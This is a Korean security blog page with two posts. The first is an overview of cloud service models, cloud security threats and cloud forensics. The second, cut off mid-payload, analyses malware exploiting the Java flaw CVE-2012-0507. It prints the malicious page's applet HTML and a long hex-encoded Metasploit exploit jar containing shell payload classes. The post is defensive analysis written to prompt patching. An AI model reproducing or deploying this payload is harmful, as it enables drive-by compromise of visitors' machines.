요즘은 바야흐로 스마트시대라고 불리우는 시대이다. 제4의 혁명이라는 말이 나올 정도로 스마트기기가 개발/보급화 되면서 사람들의 삶의 방식과 질은 그 수준이 이전과는 많이 달라졌다. 이러한 스마트시대에 주목받는 기술이 있다. 대표적으로 클라우드 서비스와 빅데이터 기술이 주목받는 기술인데, 클라우드는 벌써 많이 보급되어 사용되고 있으며 빅데이터 또한 마찬가지이다. 하지만 일반인들은 아직 그 효과를 피부로 느끼지 못하여 잘 모르는 것 뿐이다. 이미 세계의 선진국들은 클라우드를 국가 발전 기술로 채택하여 그 발전방향을 논의하고 있는 중이며 일부 나라는 벌써 그 작업에 착수했다(미국의 경우 클라우드 컴퓨팅 환경에 대한 보안인증제도(FedRAMP)가 생김) 우리나라 또한 작년(2011년)에 국가적인 차원에서 클라우드 서비스 표준화를 논의하는 회의가 열렸고 현재 막바지에 달한 것으로 알고 있다. 빅데이터도 현재 클라우드 서비스와 같이 주목받는 기술로 그 근간은 분산 컴퓨팅에 있으며 빅데이터로 인해 여러 상황의 예측, 서비스의 질 향상 등 이로운 효과가 많아 국가발전에 중요한 역할을 할 것으로 대부분의 전문가들은 생각하고 있다. 아직까지는 민간에서 빅데이터를 주도 하고 있고 국가에서도 빅데이터를 중요하게 보고는 있지만 아직 도움은 눈에 보일 만큼 주지 못하고 있다.

사람의 삶을 풍요롭게 만드는 것에는 분명 나쁜점도 존재한다. 또 그 나쁜점을 이용하는 사람들도 존재하기 마련이다. 해당 글에서는 먼저 클라우드 서비스의 보안측면과 포렌식 관점에서의 클라우드 서비스는 어떤 것인지 살펴보도록 할 것이다. 일단 클라우드 서비스는 무엇이며 어떻게 서비스 되고 그 형태는 어떠한 것인지 간단하게 살펴보도록 하자.


1. 클라우드 서비스

클라우드 서비스는 우리가 일반적으로 사용하는 전기, 수도, 공공서비스 등의 자원을 사용하는 것과 같다고 생각하면 된다. 이는 미국의 존 맥카시가 제안한 개념으로 네트워크로 연결 된 컴퓨팅 환경에서 여러 컴퓨터 자원들을 현실에서 사용하는 전기, 수도 등의 자원처럼 사용하는 것을 말한다. 

대부분의 사람들은 클라우드에 대해 얼핏 들어 클라우드 서비스와 클라우드 컴퓨팅에 대해 혼동을 하곤 한다. 여기서 흔히들 말하는 클라우드 컴퓨팅과 클라우드 서비스에 대해 정확히 짚고 다음 설명을 하도록 하겠다.


 - 클라우드 컴퓨팅 : 가상화와 분산 기술을 이용해 인터넷을 통해 사용자에게 IT 자원을 빌려주고 그 자원을 사용한 만큼 돈을 지불 받는 컴퓨팅 환경


 - 클라우드 서비스 : 사용자에게 클라우드 컴퓨팅 환경을 제공하는 주문형 IT 서비스


이제 여기서 한가지 의문점이 들 것이다. 클라우드 서비스의 설명을 듣자하니 우리가 일반적으로 사용하는 웹하드가 생각 날 것이다. 얼핏보면 웹하드와 비슷한점이 많다. 하지만 이는 큰 착각이다. 웹하드와의 큰 차이는 분명히 존재한다. 클라우드 서비스 중 스토리지 제공 서비스와 웹하드를 혼동 할 수 있는데 웹하드와 스토리지 서비스의 차이는 다음과 같다.


 

웹하드 

스토리지 제공 서비스 

자원의 폐기 

사용자 

 서비스 제공자

파일 보관 상태

단순 저장 

여러가지 단말기와의 동기화 

파일 가공 주체 

사용자 PC

 서비스 제공 서버 

[표 1 - 클라우드와 기존 서비스의 차이]


위 차이점 말고도 몇가지 더 있지만 생략하도록 하겠다. 큰 차이점은 바로 위 차이점들이기 때문이다.


1.1 클라우드 서비스 모델

클라우드의 서비스 모델에는 크게 3가지가 있다. 간단하게 설명하고 넘어가도록 하겠다. 다음은 3가지 모델을 그림으로 표현 해 본 것이다.


[그림 1 - 클라우드 서비스 모델]


 - IaaS(Infrastructure as a Service) : 해당 모델은 사용자에게 서버, 스토리지등의 하드웨어 자원만을 제공하는 서비스이다. 스토리지 제공 서비스 형태이며 우리가 잘 알고 있는 N드라이브나 아이클라우드가 이 모델에 속한다.


 - PaaS(Platform as a Service) : 해당 모델은 사용자에게 서버, 스토리지등의 하드웨어 자원뿐만이 아니라 응용 소프트웨어 개발에 필요한 여러 플랫폼도 같이 제공한다. 해당 모델은 응용프로그램 개발 환경 제공 서비스 형태이며 구글의 App Engine이 대표적인 예이다.


 - SaaS(Software as a Service) : 해당 모델은 IaaS, PaaS를 포함한 것에 응용 S/W를 제공하는 모델로 제공 되는 소프트웨어는 당연히 사용자가 원하는 소프트웨어이다. 대표적으로 구글 Docs를 예로 들 수 있다.


클라우드 서비스는 모델뿐만이 아닌 사용자가 사용하려는 목적에 따라 서비스 성격을 다음과 같이 나눌 수 있다.


 - Public(공공용) : 해당 성격은 불특정 다수로 서비스를 하는 사용자에게 적합한 서비스 성격이다.


 - Private(사설용) : 해당 성격은 서비스를 제공하고자 하는 사람에게만 제공하려는 사용자에게 적합한 서비스 성격이다.


 - Hybrid(혼합용) : 해당 성격은 Public+Private 성격의 서비스로 공개를 하되 일부 서비스는 공개하고 싶지 않을 때 적합한 서비스 성격이다.



1.2 클라우드 서비스 구조

클라우드 기술을 언론등에서 접한 사람들은 클라우드 기술이 가상화가 기반이라는 것을 알고 있을 것이다. 정확히 클라우드 컴퓨팅에서 사용되는 클라우드 서버가 어떻게 이루어져 있는지 간단히 알아보자.


[그림 2 - 일반 서버와 클라우드 서버의 구조적 차이]


클라우드 컴퓨팅 환경은 [그림 2]의 클라우드 서버들이 모여 있는 하나의 환경을 지칭하는 것이다. 여러개의 클라우드 서버가 연결되어 클라우드 컴퓨팅 환경을 구성 할 때에는 하이퍼 바이저가 서버마다 존재하는 것이 아니라 여러 서버들의 하드웨어 자원들을 통합적으로 관리하는 위치에 존재하게 된다. 그 후 그 위에 Host/Guest OS가 설치 되고 그 윗 단에 응용 프로그램이 존재하게 되는 것이다. 클라우드 컴퓨팅 환경은 그 환경으로 인해 다음과 같은 특징을 가지게 된다.


 - 정보 위탁 특징 : 사용자의 정보가 클라우드 서버에 위치하게 된다. 


 - 자원 공유 특징 : 서로 다른 사용자간에는 자원을 독립적으로 사용하는 것처럼 느껴지지만 물리적 자원은 결국 공유한다.


 - 단말 다양성 : 다양한 단말로부터 접속이 가능하다.



2. 보안측면에서의 클라우드

위 3가지 특징으로 인해 보안 위협이 발생하게 되는데 여러 기관이나 단체에서 클라우드 위협에 대해 정리 해 놓은 문건들이 존재한다. NIST, CSA가 대표적인데 자세한 사항은 해당 문서들을 참고하기 바라고 핵심적인 위협만 해당 글에서 언급하도록 하겠다.


 - 가상화 기반의 취약점 : 이전부터 가상화 기술은 IT 업계에서 계속 사용해 왔었다. 이러한 역사가 말 해주듯 가상화에 대한 취약점 또한 어느정도 발표가 되어 있는것이 현실이다. 가상화 기술에 취약점이 발견되었고 공격을 당한다면 공격자는 특정 Guest OS에서 Host OS로 넘어갈 수 있을 것이고 Host OS에서 동일 하드웨어 자원을 사용하는 다른 Guest OS를 침범 할 수 있을 것이다. 이러한 경우 동일 하드웨어 자원을 사용하는 다른 사용자들은 모두 침해를 받는 위협에 놓이게 된다.


 - 정보 위탁의 위험 : 정보 위탁 특징에서도 봤듯이 정보가 모두 클라우드 서버에 위치하게 된다. 이는 서비스 제공자에게 정보를 모두 주는 형국이다. 서비스를 제공하는 측의 내부자가 정보를 유출 할 수도 있고 악의적인 사용자가 서비스 제공자측을 공격해 클라우드 서비스의 정보를 탈취해 갈수도 있다.


 - 동일한 물리적 자원 공유의 위험 : 논리적으로 자원을 독립적으로 사용한다고는 하지만 하드웨어 자원은 그렇지가 못하다. 그러므로 하드웨어 자원에 문제가 생기면 해당 하드웨어 자원을 사용하는 여러 서비스 사용자들의 서비스 가용성을 보장하지 못한다.


 - 다양한 단말기를 이용한 정보 유출 : 요즘은 스마트폰, 태블릿 PC등이 보급화 되어 언제 어디서든지 클라우드 서비스가 제공하는 서비스를 이용 할 수 있다. 하지만 휴대성이 큰 만큼 분실성 또한 휴대성 못지 않게 크다. 만약 휴대용 단말기를 분실 할 경우 악의적인 사용자가 해당 단말기를 습득하여 클라우드 서비스에 접속하여 정보를 유출 할 수 있게 된다. 또 이러한 다양한 단말기들은 대부분 무선통신이다. MITM(Man In The Middle), 스니핑(Sniffing), 도청 등의 공격을 받아 사용자도 모르게 정보가 유출 될 수도 있다.


 - 법 관련 문제 : 국외의 클라우드 서버를 사용 할 시 어떻게 법을 적용해야 하는지 난감해 지며, 클라우드 컴퓨팅 환경에서 사용자의 가상 환경은 동적으로 배치되기 때문에 보안법규 적용 검토를 위한 감사 증적 문제가 발생 할 수 있다. 또 아직까지는 클라우드 서비스를 위한 보안감사 항목과 제도가 존재하지 않는다.


이러한 위협들을 인지하고 여러 보안업체나 IT 업체들은 클라우드 서비스와 컴퓨팅 환경에 대한 보안 제품을 개발/판매하고 있다.

대표적으로 우리나라의 파수닷컴은 모바일 환경에서 DRM 기능을 지원하는 "파수 모바일 게이트웨이" 솔루션을 개발해 판매하고 있다. 또 색다르게 클라우드를 이용한 보안시스템을 지원하고 있는 업체들도 존재하는데 안랩(구 안철수연구소)에서 ACCESS(AhnLab Cloud Computing E_Security Service)라는 보안서비스 전략을 발표하였다. 이 전략은 클라우드 컴퓨팅 환경을 이용 해 각종 보안 장비로부터 악성코드를 전송 받아 분석하는 플랫폼을 구축 해 실시간 종합 대응 체계를 지원하는 전략이다.

여러 클라우드 보안을 위한 솔루션이 나왔다고는 하지만 아직까지 그 보안 위협이 완전히 사라진 것은 아니다.(모든 보안이 마찬가지이지만) 보안에서 제일 중요한 것은 사람이다. 결국 클라우드도 서비스를 제공하는 제공자나 서비스를 이용하는 사용자가 제일 중요 한 것이다.


3. 디지털 포렌식측면에서의 클라우드

보안위협이 있다면 당연히 디지털 포렌식 측면도 생각을 해야 한다. 보안사고가 발생하였다면 침해대응부터 포렌식까지 꼭 필요하기 때문이다. 그런데 클라우드 포렌식은 지금까지의 포렌식과는 그 형태가 다르다. 일반 디지털 포렌식은 증거를 수집하는 물리적인 위치나 논리적인 위치가 그다지 많지 않았다. 하지만 클라우드 포렌식에서는 증거를 얻는 그 위치가 물리적/논리적으로 다양하다. 또 사건 발생 시 클라우드 환경으로부터 포렌식에 필요한 데이터를 얻기가 어렵다. 즉, 기존의 덤프파일처럼 bit-by-bit 형식으로 데이터를 얻을 수 없다. 다만 클라우드 서비스 제공자 측에서 제공하는 기능들 중 스냅샷 기능을 이용 해 어느정도의 데이터는 얻을 수 있다. 또 앞서 물리적/논리적 위치가 다양하다고 하였었다. 만약 국내 업체의 클라우드 서버가 침해를 당하였는데 침해당한 클라우드 서버의 관할권이 다른 나라에 있다면 어떻게 해야 할까? 또 클라우드 환경의 로그와 클라이언트 환경의 로그를 서로 비교하였더니 시간이 일치하지 않는다면, 과연 이 데이터는 증거로 인정 받을 수 있을까? 이렇듯 위치가 다양함에 따라 따져봐야 할 점이 많아지면서 증거를 위한 데이터 수집과 증거로서의 인증능력이 까다로워진다.

현재로서 최선의 방법은 클라우드 환경에서 제공하는 스냅샷 기능을 이용한 데이터 수집과 클라우드 서비스를 사용한 클라이언트 시스템의 분석이다. 특히 클라이언트 분석 시 클라우드는 대부분 브라우저로 이용하기 때문에 브라우저를 중심으로 분석을 수행해야 한다. 다음은 클라우드 서비스 모델에 따른 포렌식 특징이다.


 - IaaS : 다른 서비스들에 비해 가장 많은 데이터를 얻을 수 있는 서비스 모델이다. 서비스 사용자가 임대받은 가상 머신의 보안을 담당하기 때문에 포렌식 준비와 수행을 할 수가 있다. 또 스냅샷 기능을 이용 해 메모리를 포함한 여러 데이터를 얻을 수 있다는 장점도 존재한다. 또 해당 모델의 VMM(Virtual Machine Monitor)의 정보를 포렌식에 활용 할 수도 있다. VMM은 가상머신 자원에 대한 모든 접근 권한을 가지고 있는데 고객측면에서는 보안위협으로 다가올 수 있지만 포렌식적으로는 아주 유용한 기능이다. 비활성/활성 분석이 가능한 서비스 모델로 가장 일반적인 포렌식과 비슷한 분석을 할 수 있는 서비스 모델이다.


 - PaaS : 해당 서비스 모델은 사용자가 환경을 제어하는 권한을 가지지 못한다. 그러나 사용자가 개발한 프로그램이 시스템에 종속적인 데이터베이스나 스토리지와 상호연동이 가능하도록 하는 권한은 사용자가 가지고 있다. 그러므로 해당 시스템에서 제공되는 개발 플랫폼의 API를 이용 해 시스템의 로그나 정보를 얻을 수 있다.


 - SaaS : 해당 서비스 모델은 다른 서비스 모델들에 비해 데이터가 가장 적게 수집되는 서비스 모델이다. 해당 서비스 모델이 분석 대상이라면 해당 서비스 모델 분석 보다는 이 서비스 모델을 사용한 클라이언트 시스템을 분석하는 것이 가장 좋다.


아무리 스냅샷 기능이 좋든, 기대 이상으로 포렌식적 데이터를 수집한다 하여도 분석에 있어 그 데이터는 충분하지는 못할 수 있다. 포렌식을 위해 클라우드의 환경을 고칠 수도 없다. 이러한 이유로 가장 좋은 클라우트 포렌식 발전방향은 클라이언트 시스템 분석이다. 해당 클라이언트가 클라우드 서비스를 사용 함으로써 클라이언트 시스템에 어떠한 데이터가 남는지 알아내고 분석하는 것, 이게 제일 현재로서는 현실적인 발전 방향이다. 또 법적인 문제도 여러가지 면으로 해결되어야 할 것이다.


저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

'[+] Security > [-] ETC' 카테고리의 다른 글

클라우드 보안과 디지털 포렌식  (2) 2012.07.17
난 이래서 크롬이 좋다!  (0) 2011.11.14
[TIP] 파이어폭스 사용시 주의사항  (0) 2011.10.08
엄청 쉬운 문제.  (7) 2009.10.27
BackTrack4 대략적인 모습.  (2) 2009.02.19
  1. 라세티 2014.01.07 11:14 신고

    마치 ... 요약서적을 보는듯한 책을 쓰셨네요 ... ㅎㅎ .. 글 너무 잘 쓰시네요 ^^ 잘보고 가용 ㅎㅎ ..

얼마전에(정말 얼마전이죠) CVE 2012-0507 취약점이 발표되었었습니다. java 애플릿에 대한 취약점이죠.


현재까지도 해당 취약점을 악용하는 악성코드가 지속적으로 출몰하고 있는 상황입니다. 


빛스캔에서 발간하고 있는 악성 코드 동향 분석 보고서에도 보면 아직까지 해당 취약점이 언급되고 있습니다.


관련기사 : http://www.dailysecu.com/news_view.php?article_id=2243


한동안은 계속 해당 취약점과 다른 취약점들을 이용하는 악성코드들이 계속 나올 듯하여 그나마 "이런 글을 보고 패치하겠지" 라는 바램에 이렇게 분석/정리하여 봅니다.


일단 해당 취약점을 이용한 악성코드가 심어져 있는 페이지에 접속하면 아래와 같은 java 애플릿 실행 여부를 묻는 창이 뜨며 그 페이지 속에는 다음과 같은 코드들이 들어있습니다.



[그림 1 - 자바 애플릿 실행 여부]


<html><head></head><body><applet archive="dvTKbJP.jar" code="msf.x.Exploit.class" width="1" height="1"><param name="data" value=""/><param name="jar" value="504b03041400000000006cabb1400000000000000000000000000b0000006d65746173706c6f69742f504b03041400000008006cabb140aecf34d0e511000063220000180000006d65746173706c6f69742f5061796c6f61642e636c6173739558097c1c75f57f6f767667763239bae9b69db6810269d9e6d8406943bb2d85344d694a2eba81100ab693dd49b374b3137667db1410510a28788b62b9a96804054baa9b403854b408a8a0c8e9f5f70029a7a2221ed0ff7b33bbc96eb245cce793df6f7ed7fbbde3fb8edf3ef6de7d0f820bea85260536c25f24784b82bf2a7013fc4da1e9bf2bf028bc2dc13f1490e06d2f5c02efc8f04f85fa7f49f06f0554789b8ffd478193e15d1ebe27c361ea1164445a41810ea24b4111dd327a7820c928cbe855a00a156e4a2454b92f95b18c7abeb20acbb9a9a07b7096823eac947136cff8793047c6b932ce635a9a82f371015d8e0b795825e351bced686e1649788c0227e2b1321ec78bd53c702bb818974878bc8c01a6be54c61a9eaa55b00eebb909bac1fe939e54b0014f604a2766a7204a0ac065dc9c24e372195748d8e8c59371254bba4ac2100f562bb8064f9170ad8ca7ca781ad36c92701da9149b655c2f638b8c1b643cdd8b1bb1959b4d329ec122b449d8ce7d878c9ddc7729701e9e29e36609c30af4b162fab05bc6b3643c9b79e891f11c057b896d9a3f57c22d0aec205be1790a0ce2f9127e480113b772b38d1b374fd773a34bd8276344c6a88c860269ece7663b370312c6d8ba6fcb7801eb67878c7136de202b2f21a1a9c0e53824e1850a5cc1772515b88a217005a624b4244ccbb853c25d0a5c83c30a5c8dbb79ff45dc5c4c48c24bb8f9b08c97b2c23e22e3652cc74765fc18f797cbb887fb2b64bc52c2ab24fcb80237e327587157f3fc35dc7c52c64f31639f96f133dc7f56c6cf71ff7936d41724bc56813b99a14bf08bf4855ff2d2f4752cd99765dccb5abd5ec61b14bc116fe2e59b79f916c6ebad3c771b7fede35d5fe1e6766ebecacdd7b819e1e6eb32dea190d1242fde89dfe0996f325b77c97837f7df9271bf8cf7c8382ae10104a933bcb5a3a9bd05c1d77681be536f88eb89ed0d612b194b6c5f4d3ed2d5d4bd716bb8a50bc1d31adedad47a0e029eeb0cd6778611bc9b9ace6edabab19329cc8bc4f554aa7ad0b0f4d450dc8c59d55dfaeeb8a9471166e5116fe65d44db1bde9db0060c2b16a1cb9da3bca93a66566f88c50d8485799309c3aa3e6b735bb3994818112b662610aa0acfacd72dbd353194b68879431f44985fb8de99b6f216e7eac9a4bebbda66ab9ad9aa766426d1d6c412316b2d822bb0f46c04b1d98c122fe2a01ea33be704b6cc54136f535a8623c6103396226977256396d132d86744a346d411667960860a665272666266039f21ba127e5bc2ef90aafa4cd34a59497d08211c98dc9527eed4d17c398b5c7104fe2bb61bd6a6a4d1326c44d296dec71c2f0914d95a0c24aa1e8db60c5b462265dbc5db1f4b445b13eb63c96952170859846a4e6e22913093837a3c7611b1716ce0031c90a2b1548a8081707cb1ed5b8ab1ed71f081b0f8bf089a03acbc2612b7b1a16206de4458346d4b87696d30d389e82414108e9adad261da9bd61bfdcea664d24caa3886e32a3c8ff752032f20ccb6f7a7ad58bca12b690e19492b66a454f819fc9c7c64cab18259c752e10d6664ce74f6d7a5fbfb0da27e1f51c709bc5fc507f0419238688bace243388e50de904730aa5b2a7e17bfa7e2f7f161097fa0e20f991f650a102a1e849788c6a5a9217d17892606adc121151f81432afe081f2518e4db44c5c7f80e31188d111f8fe3a32ce58f55f82dfc9f843f51f1a7f804f9c97a9271c888e65ff224b3fc332479dd61e7223c81aec6a724fc858a4fe3332a3e8bcfa9f83c127b65d325f825fe4ac55f3337f3f2b9c9f70966e4370814477f8bc4cbef54fc3dfe811c60ba0e89799e52e145165ba9b75537a45b032afe115f94f02515ff842fab78085f96f015155fc5d7547c1d5e50e109f8a90abf6093d92a09c6cca013034a538695ef61e5d30024e11b2abe093f57f1cff89702963afb2e2074abf816fe55c2bfa9f8777c1be1e87c7085d3918176c31a30f3e1e78e0c0c9a147e85da6115ff81ef20544e9d99dca7e23fd9d6eeb6aececddd24f672fae3e1c6ce300d5d147625fc978affc6ffa8f82ebe473b92faae908a8705a0209dd3f3badd96d1c441352f2aa902e273a4bcd67067fdca952b56d59fa80a82e0221308224169c0b28652a11c7228c437d05daae0163ce43933d1de9d4ca7ac763da16f3728b478d2296303b9103ccd9ab65d2048248205594212245590f165ca1633f82c4c08e5933c84cdc80ec3621ebd08fea96923b9d3484e2d2aaa5022a8aa502a942168537eeba0a7dbdc6124287e11a32559f617d5d72fa27bc216f1dfa5277512d04852b6c0454cae5c152af01d5598c56e93e7ea0d9339b43497506c0a2afc01fe48871b54c12754aac26cc14f592d27e4b464c8987f38c725c5c934e5a7dd0d5d467290c2a693b31614ae35c5e353cbaa3047989b0b6653c793a6e56879bde964c779851b387386cd7432425097fbc903420d0d0d33c84428c8353473a4eb8f4574cb6065cce3465385f9ac910582a80a0b852a55384a389a74c3c7871ca50453ac8aa02a2c128e21c4d22849b67986013137e77a3354f12c2fcfce2d178686e778add2491741f692e064bac8f39cee81a4b9cb71e1ca9cc6bb68db94b68563c9a984e354f809c78227e171f2a386d4800a2fc321f29f86be5842853f71601183c630c9fc0abcaa0ad51cb8caf3a1a44776a8f01abcae0a8bf1095558028fabc2f1bc0b49e880b0945c3b1894841a55a86555d509c7a842bd10a4782f10304e104ee4af65aa7092b09c7c5158a10a8dc2c9aab09237af1242bcc0d9d34c051384474958a30aa7086b55e154e134151e63b6cb38e40553c61021d66277fbb12d8c1e1b26263855dbaa1a30078d9cb34cc5b33632117b40557e2c2e92252795d8da99372bf59bc90e9de92a549cb41ba914d99a2c17285a84f803c50b1b89ce3a54a4a43114d7198c7302cdcd458978744a4709f2b5ba0f54fb3869962b03cbcc258d4aba6fb391b261df94ca4597a5ef5bc4e4d7718408c7dde715aff358a6ca220b1cece3668aa42b210eb2c5c36eb25f84562da3db181c729290276ac429f2d8f52d55f2e5b4bba92f65c6d31645256b80e80cee8872ed765ca0b0ca2aaedfca29b86ed45303d9cce6491a83e6cee945a493c50a14999d720ad0663d61262808c41d465c241cc2ca22143e20cd95ff4bf5598884595373ad09cbb0338e4c3e9032687804b4b512c676eaf1b4d1d9cf3b5a8b122e49e55be77fe77052b85236b39e34129663d78ac08caad8635b921f2481e92f0b3b5a9a493a571bf8a04f073e95a797cde98415cbb9e7e4c05fe09ed969463585397ae8058a3ea0f2a6483711c32eb767cd982434d35505a09f1b38921bf156bbc8ce6dad2808e006fb983b15370c7a5389814d2c9ceab84667a26538661530b0ce34e386ce556f776f173d75bd7644e26a0be1b4c0fbbfb29ce743be8c49a33f4e466c7028b072ba379f45542bdb66dcb83a97558b1c2403c7123ba9d0405855c449b67c402f9176e9310ac9493b221086cb879c5446b9a73b69c7cbfcda7877ca32489902e77bff1154ef32d971a756f37223ad2a769a4ef5c4d8c78b3a1285256f2add97ca86549994cd555b8a2377b1d7dd3ab26460cb3a366119795622ff5782f9398064cbcba9b5d5b987d38c15e291c9e48053ecd256fbb78180dd79f408272db25ffe5d4ea5b8da89b085b5e6bc3cd016f85cf1e76b714f2c895016b5ec3a33c52f6663d8197079ee809b5542f674dbbf46909d69dc6a33eca2073b65e5ec5545ea41fb82658102c5e5f074c4c2cd3ed4349de85411b8fa88d7359bf178d62676ca66feed30ebe5af0de9789c426549d4e88f250cdb9b105a8b391d89d7f6fe356ad177bd9aa47c1ddf99233d7be62f35b6be13c6aed6046137119951854cfa92768460ca04f2127abe43d808328663298bee1687d2a901467faedea2383fa0a7da2952e72ced312e4cebf1d434d7c939f8b9396fb533f2d934c734c494fd538a6bc81cb25fa159e2cd033a2d623355ff81e6f7296fbc14160729d1345933f2daa4e475ff25d14f2329c51251639813253b512b3b59eb1112a665329ff6938d772fdd42fc7ae246623bc70f4f84d72c874c3383bed52697a78436932a0ac67f4bc7e96dade18d933f75e6ad3af7b499bb8c64b39ecaab5bf2f714610f8e814be051002881f95c2fd3d77cae90ed9e6a7fbb7f22db3f69cfcbfc6b0e3d9c9fb27fb097f98782bcd1d305a3670a46cf168c9ecb1b95d0d7f3f002b5bfa4d12cea917a77cd1878eeb13778e157f06b1078592c0389b680ebad09907ac7406e1b05ef2350ee53c6a1a4f7007847c04333ed13a0d26a695d06ca2a82150d1928cf40856f163519f075d4f92a33303b246ae24128abd5c40cf8b99953eb9b9b817921b7e63e08db7c9a6ffe382c0879344f0616f64c40556f962a4f1cc5f48e76e88dc1a290a4491938c6dea5499a7b0c8e0dc9759a5b93c7e1389b6c754fad6fb126676049068ea7ef806f69066ac6a1b6d1430b7cade4f7dc8c0b69c5ef11a3e340bcd7f7e49890f9642113f24c26bcf6f55e5f90af579c413d7f97682519202d9cd05357af95104b137062afa68cc1b2905aaba9be9332b05c5333b0621c1aa507e0e45e976fe538ac0af78abe50b8d7ad79e9ae70af87d519cec0ea50a9569a8135a431ee4fa17e36ac1d87d3e86855af4b2ba173f6857c54a1739a371c2a733596fbcbb5b207f7c10a576385bfa242d9078bb5327ff932926c2f7846606e76d4341bd611b53d153872f8853de5d43e3a22b834e920dce8e89765954761fdf51019851636ff06c7fc2db6f95b7ca78b0fc0c65ed728b412bb9b34998667f0b08d86ed3d23a4112f49ea7124ed6431bb98578985cbc099b443097959ea306d13ed6dce628f7dabcfb106b70dfc318246adafdb7756d6a072adef6ca4ef90b7d6d7637f287ef926a81885734225a3d01b5247e0294d3908d76a8aefdc0c6cd90bf327e03c320861e87cdf8732b0750cb6854a46603b6dd0ed0d9d13d0675b2c928168a8d4678c03fafa73626e671d0c383ad86eeb603b0b8e8edc5aa92d36db2ac65467e5d1ba205432013b085071e6ea14cd7b102a27609080e397c720112a1d61decc5e1e0d85cab4b20c5c48e6a72ec9f452042deaac903a01e91c347d3b0992b5be5d0cab1a079dbee131d8edc0e62252673e1a2ad9eabc7071d8b6f5ab13700951f9b056a2a9b5be4b597f5ad9187ce41e100449582dac850eeacf17b6c1668a0dbfa17f9102c66650f8e759274ac059342751df5a9363e93266c9e1855cbf83f15fc7f0176755c0fd72c85dafb933f0d1de468f700b5468a2e676f9c9cb3f3672f8104786154e20e2cb3c74c5efe0f7e0e39fb09ceb70295d5642bd7f022eefad1d833d21f7045c41f75ec9716102aea2cf8f67e013137035e9e89a5ed6bfef93a47fd703f0a931f83423fa3321b9fe1158c56c7cb6d1ebf712530ac50f25039faba9414d71f9bd8cb7cff78688af2f4c6ebbe9f0b323b02027e5b52461bd2325e1c3095d5f24247b7c5ff264a1721d43e5cb0e54aeb3a1721de17f14f6f2fcf5cefc5e7b7e2fb9c428dcc0f3373af337d8f337d83ee5f538d872d3e93a761e31eb5b3e8e9f137033ebf7960cdc7a0f877314d00d374db3d78bf05236e89f4b8a14a8ef408ae7b7ed85aaac40a3b08f43dc571c91c8b96e6fab7d64faea57f3570f824c663e6a3f8dbeb6df369ac23f5565efa905c14e2e476729303ac9a3f782ec1b190137039649e50ebe0c87b2079711d322f54b88eed7dbb18322e11d7b41e37054574b575190ed20c5df713db8b1a33e77fe1578357bfe5e3aeda1feae09b8932efe461bd1f9667b6d9d8bc2dd5d3dec3b75e2b251b89bbc84e97c6b2f3453777148f4ed67fcddc3f1f1f021df6876b090643ce0de072a33408972d17e9af836872d3b9bddd53372f8feac8821d1d5e8f6bbf9c03ea8f6bbc5db41d5c8dedfc940a647136bfd84a4b10c8cf7ec7193f33d6f0758d1c92739315e83d71d31d04b62c834f72e9d5f5353d1b080126bc579dc9e81ed3515a10cdcbbb6ea66b8d2d6e96555e2b646b1c6e52772f7b593aa27d82d7279b9824e65e89e76cded17972fb81514bf286e2323f8c54631c7bb8706929ff229c589006d947863197f88d1e50b6ea14f8f3dcbb2ec9188ff6718f1be3346e04cbaef7e92f5d41abafd013ad558b380247d90185ac017d99f7ed17d3b9433873c71df088835ed35c4dbfd1486890601ecee763e7ffe196e3b0710cec59af0fe6c0df306bc990d374bc065c3973188fbdb26c0d54bfa16c7c0fd900d3711dcf67aaefaf9f364b5d364cf03acf03d340edf1d85ef65e0fb07e061df0f6874007ee83b380a0f93c50fc06da3347ac4fe5ceffb91bdbacf094af0ff504b03041400000000006cabb1400000000000000000000000000c0000006a6176617061796c6f61642f504b03041400000000006cabb140000000000000000000000000120000006a6176617061796c6f61642f73746167652f504b03041400000008006cabb1402600ec319c000000d30000001d0000006a6176617061796c6f61642f73746167652f53746167652e636c6173733bf56fd73e0666065d062e76067676060e4606d6e292c4a2124606570d9facc4b244fdcc7c7d97c49244cfbc82d292e092a2d4c45c6bb8847f690942341a229c939897ae0f14cacc4bb7d60c6364e072ad484e2d28c9cccf2b6667e064641007a92a48acccc94f4cd107da959e0a540d2419190410fafd93b25293818e104608c18d616364606460620001461646a0e359807c56200f44b331300000504b03041400000008006cabb140ea1e3cba14030000ea050000270000006a6176617061796c6f61642f73746167652f53747265616d466f727761726465722e636c617373a5544953135110fe5e16868c838425c88eb8603221c40d5436954da36c0282e0694c06180d99d43011fd297af1c8992a08945872d32aff8337ff8177b17b324028d12acaa4aa97f7beeefeaabbdf7cfbf5f133bc88615e462d3a64c47155c6355c67eb065b37d9ea64ab93215d32ea702b40d66d16775874b3e891d0cb803e09fd3282b82be32cee49b82fa30a031206d91f626758c2888407021e2323101a7da9bdd6e286194f64b2397bdab6746da547c06be66c819ac3db899c5d7c5db66a6bc957339696d42718589a4c9bab05532c08488ba6b5a65929818ef089054ece1b9915f00d9a295d401e7e93d4b3b6616656253c14889f26cf02272ae9353286dd2f30749ad0bf131bfeff340e2faf95a3be7bc36c2bf6b265aecd595a36ab53b36add12692db3149fe12bed455aa7ea0a5ad12621a1e0111e4b185530867105139854f0045105532cae20c282ac7a34286844938266162d382f5075426a05ed881d5c11db49cbc8b86439d3b482193c15a83f0a9dca656c63453f9c0ec32843c31162dc9cce2597c7747bd94c0d5b96692998c51ce39e09b4322eabbd4d9b5a2a4e3bb4a4c70be5460a0ba35b02c16344752d554430317158b9f8f4681eb44085107ff8f9402421507dd224e87acd326cda3389608904cf22403823cd5d71a643a1fec5746e7599b4b3dcd486f03fc65a9e2df4eee0591c4df3785f9d5d2ab54df28ccc12f10b478a865e38a507160aff791a99a535a8a50f00e043250f99ac4a9eb3a39b5d4dd3265d8200a12fc0838be455d157c6435a52a3be1d880df0ef929348e0b2036d73a1069d95901eab08e253e9b81acbc333dfe5f37c4053f4cbfecf68cc1bf2e5e155f3f0bddfff11cdc3bfbeff9dbc92c6776820575a4775b7df3d90f8a0cebfb7e1546f470fc91ef439ba9880a0f50893640221f8e91408a8d1f6986f1ba505b60c89b810e6ea275daf6e336c0bb2dabe85336a6c0b8a1af26da1ec204645d48d19a4082611573709be49e84d94512fd6d1324aa6f295c8eea03cba8be03cfb54b9228fca0d0a07caa9af6749cbfc60dc84aadbd39a5d54cd1391eabd51c7caa3661be7f69cb800fd43cce437504b03041400000008006cabb14029f4dc1882020000d30400001d0000006a6176617061796c6f61642f73746167652f5368656c6c2e636c61737385545b53d34014fe96a66c09914b0125def182012af18a4a1154288aa2458a3a0e4fa15d4b9836e9248b8517ff8a8f3efb52181dfd01fe28c7b394d216339a999ccdf9f6ec77be3d7b36bf7e7ffb89